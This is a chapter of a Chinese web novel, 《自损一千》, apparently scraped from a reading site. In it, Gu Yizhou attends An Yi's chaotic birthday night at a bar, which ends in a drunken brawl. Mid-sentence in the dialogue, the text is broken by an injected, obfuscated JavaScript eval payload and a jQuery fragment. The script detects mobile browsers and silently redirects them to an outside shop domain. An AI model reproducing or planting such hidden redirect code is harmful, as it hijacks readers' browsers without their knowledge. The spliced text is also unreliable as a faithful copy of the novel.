12.第十一章
作品:《自损一千》 “你和安亦很熟?”陈宝蓝说话的声音很轻。
“看起来你和他更熟......”顾以周梦到哪句讲哪句。
“或许吧,”陈宝蓝很有兴趣地看着他,却又好像透过他看着另一个人,“我从幼儿园开始就和他同班了。”
“哦,那你们姐弟俩应该感情很好吧?虽然你穿金戴银他睡地下酒吧。”信息量太大,顾以周此刻满脑子梦话。
“我一直看着他。”陈宝蓝答非所问。
顾以周:“......”
然后他们就这样长久地对视着,他不知道陈宝蓝在看什么,但他只是单纯的不知道该看哪。
在上课铃响起前,陈宝蓝起身走了。顾以周转头看了看坐在第一排的陈安亦,这家伙居然装的一副事不关己的样子,睡得头也不抬一下。
显然,陈宝蓝才是正室的孩子,难怪安亦在这里好像人人避之不及,看来大家都知道该怎么站队嘛!
就这样又晃过了一天。下午放学后,顾以周正要问安亦晚上去哪里,抬头却看见安亦已经闪出教室了。
“喂!”顾以周叫了一声。
安亦一只脚跨在门外,后仰着探出半个身子来,“嗯?”
“晚上不是要过生日?去哪里?”顾以周皱着眉问。
“十三街。”
“干嘛不等我?”顾以周不高兴地走上前。
“哦,”安亦大概是并没想过要等他,“我现在去餐厅,你也去吗?”
顾以周满脑袋问号,“不是说去十三街吗?”
“对啊,但我现在要去吃饭。”安亦一脸理所当然的表情。
“晚上过生日你还要先在学校食堂吃饭?”顾以周完全理解不了这家伙的脑回路,“你饿了?”
安亦点头,“你不饿吗?”
“没饿到这个地步。”
“哦,”安亦点头,“那一会儿见。”说着就转身要走。
顾以周不爽至极地揪住了他的后领子,“都说了一起走!!”
于是最终他还是跟安亦一起去了学校餐厅吃晚饭。
灯火通明的餐厅依旧空无一人。好像除了午餐,其他时间只有安亦坚持不懈地来这儿吃饭。
吃饭的时候顾以周一直有种如芒刺背的感觉,因为安亦这家伙总是一眨不眨地盯着他。
忍无可忍,顾以周“啪”地放下筷子,也抬起头来,“是不是有病?一直看我干嘛?”
“嗯......”安亦专注地看着他,嘴里嚼着西蓝花,“觉得很新鲜。”
“什么新鲜?西蓝花吗?”顾以周一头雾水。
“西蓝花也新鲜。”安亦说完,终于把脑袋低了下去,专心吃餐盘里的饭。
那还有什么新鲜?有人陪你吃饭很新鲜?想到这儿的时候顾以周顿了一下,眼前自动脑补出无数次安亦一个人坐在这里吃饭的身影,晴天或者下雨,周围的桌子上有人或者没人,只有他始终一个人。
对啊,如果他没跟来的话,这家伙肯定是一个人坐在这里吃饭吧。
哇这真是......今天还是他生日啊。
顾以周心里不舒服了一下,忽然有些食不下咽。
没办法,他最见不得别人可怜。这是他的病。
顾以周沉默不语,将自己盘子里的牛排分了一块给安亦。
安亦抬起头来,“诶?你不喜欢吃牛肉喔?那点牛排干嘛......”
顾以周气结,怜悯之心灰飞烟灭......
从餐厅出来后,安亦习惯性地往那个偏僻小门的方向走去。
“今天从这边走。”顾以周拉住了他,“我得先回家换身衣服。”
安亦呆呆地看着他,顾以周心里也很别扭,他也不想一直黏着这家伙好吗!
“我身上没钱了,咱俩今天必须共用一张交通卡。”顾以周耐着性子咬牙切齿地解释道,“你明天记得把钱包还我,里面有我的身份证和银行卡。”
“哦,原来是这样。”安亦歪了歪头,嘴角忽然泛起一丝不怀好意的笑,“怎么办?我突然不想把钱包还你了。”
顾以周瞪大了眼,在他发火之前,安亦蹦蹦跳跳地转身,“走吧。”
顾以周住的地方离学校很近,没走一会儿就到了。进小区的时候安亦稀奇地看着自动打开的小区门,发出了“哇——”的感叹。
顾以周嫌弃地看着他,“没见过啊?”
安亦从进了小区就一直好奇地伸着脖子左顾右盼,等顾以周按完门上的密码,丫更是率先钻了进去,不客气地将每个屋子都转了个遍,“你家很不错嘛。”安亦这样评价道。
顾以周无心理会,比起十三街,他家确实好多了。经过这段时间的相处,他已经对这个疯子有了一个基本的了解,所以他是不指望安亦在别人家能有什么规矩的。为了避免安亦在他家四处乱翻,顾以周动作十分迅速地换好了衣服,但就算是这样,他出来的时候安亦也已经自己从冰箱翻出冰激凌站在柜子前津津有味地吃了起来。
“走吧。”顾以周道。
安亦咬着冰激凌自带的小木勺,盯着柜上摆着的相框一动不动。
那是他小时候和温涵在公园里玩时温涵妈妈给他俩拍的合照。顾以周“啪”地将相框面朝下扣住,不爽道:“别特么瞎看。”
“你家在盛大广场附近?”安亦却冷不丁道。
顾以周有些惊讶,安亦居然一眼就认出了那是盛大广场附近的公园。
“你以前也住那边?”顾以周不禁问道。
“你见过我吗?”安亦答非所问地抬起头来看着他。
“见过也不可能记得好不好,盛大广场都拆了多少年了......”他的语速渐渐慢了下去,带着些许不解和迟疑,因为他看到安亦的表情忽然僵住了,他还是第一次在这家伙脸上看到这种表情。
“......盛大广场拆了?”这家伙居然有些恍惚地样子,“什么时候拆的?”
顾以周奇怪地看着他,“很早就拆了好吧?都快10年了。”
太阳已经将要完全落山,房间里的光线越来越暗,连带着安亦的脸上的表情也变得模糊不清。
而顾以周只想赶快去找温涵,“赶紧走吧,太阳都落山了。”说罢不由分说地拉着安亦出门了。
安亦大概是安静了一阵子,不过很快就恢复了正常,两人坐上去往十三街的公交车,安亦甚至哼起了奇怪的歌。
晚上的切尔诺贝利人声鼎沸,空气中弥漫着异样的香,一进门耳膜就完全被聒噪的音乐和喧嚣声覆盖。
温涵果然在这里,一进门顾以周就看到了她,和秦扬等一伙人坐在店里最大的卡座中央。温涵今天戴的是一顶黑色的长款直发,涂着黑色的口红,和黑色的指甲,亲密地倚靠着一个陌生男人。
看到顾以周的时候她显然愣了一下,接着拿开男人搭在自己肩上的胳膊,起身向他走来。
“不是跟你说了不要来这里,周六的时候去学校找我。”温涵本就个子不低,踩着鞋跟很高的黑色筒靴,几乎可以和他平视。
顾以周拿出有力的借口,“我是来给安亦过生日的。”
“安亦生日?”温涵挑了挑眉,显然不知道今天是安亦生日。
转头看去,安亦已经加入了闹哄哄的人群,此时正放松地窝在卡座的沙发里,脚踩着沙发坐垫,竖起膝盖将腿蜷在胸前,自然地像是坐在自家客厅里一样。
秦扬勾着他的脖子和他说了些什么,两人突然一起哈哈大笑起来。
顾以周这才注意到,他们面前的桌子上没有蛋糕,没有菜肴,只有各种各样的香烟和酒。
“不是啊,那家伙跟我说......”顾以周略带急切地想要解释,却被温涵制止了。
“既然来了,记住你答应我的,不喝醉,不打架,不管你看见我在做什么,别干涉我。”温涵冷冷地点着他。
顾以周无奈地点了点头。
温涵轻叹了口气,转身回到了卡座。
顾以周松了口气的同时又很想把安亦抓来揍一顿,这个说谎不打草稿的骗子!
顾以周面色不善地走到安亦身前,冷声道:“你不是说过生日吗?”
“对啊。”安亦挤开秦扬,笑嘻嘻地将他拉到自己身边坐下。
“生日?今天你生日?”秦扬丝毫没有计较安亦把他挤开的事儿,大着嗓门探过头来,眼尾一片绯红,显然已经喝了不少。
“对呀!”安亦说。
“来来来!”秦扬突然兴奋地举着酒瓶站了起来,对所有人大声道,“今天——!是我好弟弟安亦的生日!让咱们一起祝他!生日快乐——!”
于是四周霎时响起了此消彼长的鬼哭狼嚎,“生日快乐——!!”这伙人还真是一呼百应。
秦扬像个控场技能娴熟的老牌驯兽师,举手做了个“收”的手势,满屋嚎叫的野兽就这么安静了下来,“今天所有消费,都记在我账上,干杯——!”秦扬再次举起酒瓶。
“干杯——!!!”又是一阵惊心动魄的鬼哭狼嚎,接着默契的振臂高呼着,“秦少!秦少!秦少!”
顾以周捂着耳朵转头,看到安亦一一接过身边人递来的酒,笑着灌进了嘴里。
那边又“叮叮当当”传来一阵空酒瓶落地的声音,顾以周再次转头,看到秦扬居然摇摇晃晃地站到了卡座中间的桌子上,疯疯癫癫地掏出手机要跟大家拍合照:“看镜头,都看镜头——”他扯着嗓子嘶吼。
于是所有人都“哗——”地将脑袋挤在了一起。
顾以周反应不及,只觉得脖子一紧,便被安亦用胳膊勾了过去,和大家一起脑袋挤着脑袋。
那边秦扬还在人来疯似得扯着嗓子嚎叫,“祝我的好弟弟安亦,十......”秦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057440|194710||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
扬拖长声音喊了一半,又猛地停下,转过脸来大声问安亦,“你今年十几?!”
“不知道!”安亦大声回答。
“好那就十八!!”秦扬迅速作出了决定。
“祝我的好弟弟安亦!十八岁生日快乐——!”秦扬再次转过头去,冲着手机镜头大声道。
身边脑袋挤在一起的人们不管认识不认识,全都一起兴奋地喊了起来,此起彼伏,连绵不断,声嘶力竭。
顾以周只觉得自己脑袋要炸了。
可余光看去,不远处,温涵搂着那个陌生男人的脖子,居然也大喊着笑得十分开心,显然彻底融入了这种疯狂的气氛。
可能这些人只是表达感情的方式比较特殊?顾以周尽量开导自己。说不定过段时间自己也会融入到这样的气氛里去。
然而事实上,这就是整场生日会上这群疯子们唯一其乐融融的时刻了。
秦扬拍完合照后不久就和人打了起来,旁边有两个人试图拉架,途中被乱拳误伤,于是立刻也加入了战斗,先是一个人言语粗俗地问候了对方的祖宗,接着又有人吵吵嚷嚷地站起来往另一个的脑袋上砸了酒瓶,那声震耳欲聋的“生日快乐”才过去没多久,这群醉鬼们就纠缠着打成一团了。
酒瓶碎了一地,桌子翻了几张,拳头与棍棒一色,椅子和灭火器齐飞,很快就有人见了红。
又过一会儿,救护车来了,“呜哇呜哇”地在外面响着警报很是热闹,像是在给这一幕荒诞的闹剧伴奏一样。
顾以周不可思议地看着眼前的景象,有人大哭,有人大笑,有人被抬上车,有人两耳不闻窗外事,继续叼着烟喝酒打牌。
而安亦抱着膝盖窝在沙发里,一脸满足地看着这一片狼藉的诡异世界,并撞了撞他的肩膀,转过头来附在他耳边嘻笑道:“你看大家,感情多好啊。”
那一刻,顾以周明白了,这里就是个疯子集中营。而安亦把这群人称为“家人”。
好一个相亲相爱的一家人......
就在顾以周纠结于该不该继续在这里待下去的时候,他看到温涵和那个陌生男人突然一块儿站了起来,两人说说笑笑地走到吧台,男人一掀帘子,走进了吧台后面的储物间,不一会儿,另一个男人从储物间里走了出来。
是那个长相凶悍,只有一只手的男人。他眼睁睁看着温涵挽上男人的胳膊,两人一起离开了这里。
顾以周立马站了起来,本能地想跟上去,可刚走到门口,耳边突然回响起温涵那句:“......不管你看见我在做什么,别干涉我。”于是脚下就犹豫了。
“喂。”身后有人喊了他一声。
顾以周回过头,吧台后面站着刚才在卡座里和温涵有说有笑的男人,男人打着领结,俨然一身调酒师的装扮,略带调侃地将一杯调制好的饮料推到他面前,说:“渡鸦请的,她说让你喝完这个就回家。”
顾以周冷冷地和他对视了一会儿,走上前拿起杯子凶狠地一饮而尽。
艹了,一滴酒精都没有,居然是AD钙奶兑可乐!
男人一边擦着杯子一边讽刺地说:“学生嘛,喝这个就够了。”
从切尔诺贝利的喧嚣中走出来,厚重的铸铁大门隔绝了一切。
爬上台阶,顾以周郁闷地站了一会儿,打算离开。
“你要走啦?”有人轻声说。
顾以周回头,看到安亦趴在二楼的露台上,一盏温暖的黄色吊灯打在他们之间的空地上。
顾以周没精打采地“嗯”了一声,忽然想起自己的钱包还在安亦那里,仰头道:“把钱包给我。”
“不在我身上。”安亦笑嘻嘻道。
顾以周不耐烦地看着他。
“真的,我没把它带出来。”
顾以周早就猜到这货会这样,故而从口袋里摸出安亦的交通卡扬了扬,“什么时候把我钱包带来,什么时候还你。”
“哈哈哈......”他听到安亦笑了起来。
“你们过生日的时候都做什么?”安亦突然问道。
顾以周想了想,道:“也不做什么,和家人朋友们坐在一起吃蛋糕,还有长寿面之类的。”
他们居然就这样隔着一层楼的距离一上一下的聊起了天。
“哦。”安亦似乎是有些醉了,慵懒地趴在露台上有些认真地看着他道,“那你请我吃蛋糕和长寿面吧。”
“凭什么?”顾以周挑眉。
“我生日还没过完。”安亦没什么语气地淡淡道。
不知为何,顾以周忽然觉得说不出话来,他仿佛又看到了那个站在学校楼顶摇摇欲坠的人。
过了很久顾以周才回过神来,不爽道:“没钱拿什么买,谁让你不把我钱包带出来——”
说话间“吧嗒”一声,什么东西掉在了他脚边。
顾以周低头定睛一看,正是他的钱包。

